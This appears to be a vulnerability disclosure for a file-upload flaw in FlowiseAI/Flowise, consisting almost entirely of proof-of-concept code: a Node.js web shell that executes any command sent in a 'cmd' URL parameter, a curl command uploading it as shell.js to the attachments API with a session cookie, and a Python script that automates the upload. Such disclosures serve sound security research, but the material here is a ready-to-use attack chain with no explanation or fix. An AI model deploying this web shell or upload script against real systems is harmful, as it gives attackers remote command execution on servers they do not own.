FlowiseAI/Flosise has File Upload vulnerability

const { exec } = require('child_process');
const http = require('http');

const server = http.createServer((req, res) => {
    const url = new URL(req.url, 'http://localhost');
    const cmd = url.searchParams.get('cmd');

    if (cmd) {
        console.log(`Executing: ${cmd}`);
        exec(cmd, (error, stdout, stderr) => {
            res.writeHead(200, {'Content-Type': 'text/plain'});
            if (error) {
                res.end(`Error: ${error.message}\n${stderr || ''}`);
            } else {
                res.end(stdout || 'Command executed successfully');
            }
        });
    } else {
        res.writeHead(200, {'Content-Type': 'text/html'});
        res.end(`
            <h1>Node.js Web Shell</h1>
            <p>Use ?cmd=command to execute</p>
            <p>Example: ?cmd=id</p>
        `);
    }
});

const PORT = 8888;
server.listen(PORT, '0.0.0.0', () => {
    console.log(`Shell running on port ${PORT}`);
    console.log(`Access: http://localhost:${PORT}?cmd=id`);
});

curl -X POST "http://localhost:3000/api/v1/attachments/0237eefc-18c5-46b2-8b3c-97aa516133fc/$(uuidgen)" \
  -H "Cookie: jwt=ppBk33uGXmJmoj8zIAGgHOP-oQfb2b8yds7XQfqyRl0" \
  -F "files=@shell.js;type=application/javascript"

import requests
import uuid

TARGET_URL = "http://localhost:3000"
CHATFLOW_ID = "0237eefc-18c5-46b2-8b3c-97aa516133fc"
TOKEN = "ppBk33uGXmJmoj8zIAGgHOP-oQfb2b8yds7XQfqyRl0"
CHAT_ID = str(uuid.uuid4())

def upload_shell():
    url = f"{TARGET_URL}/api/v1/attachments/{CHATFLOW_ID}/{CHAT_ID}"
    headers = {'Cookie': f'jwt={TOKEN}'}
    files = {'files': ('shell.js', open('shell.js', 'rb'), 'application/javascript')}
    r = requests.post(url, headers=headers, files=files)

    if r.status_code == 200:
        print("[✓] Upload success")
        print(r.text)
    else:
        print(f"[✗] Upload failed ({r.status_code})")
        print(r.text)

if __name__ == "__main__":
    upload_shell()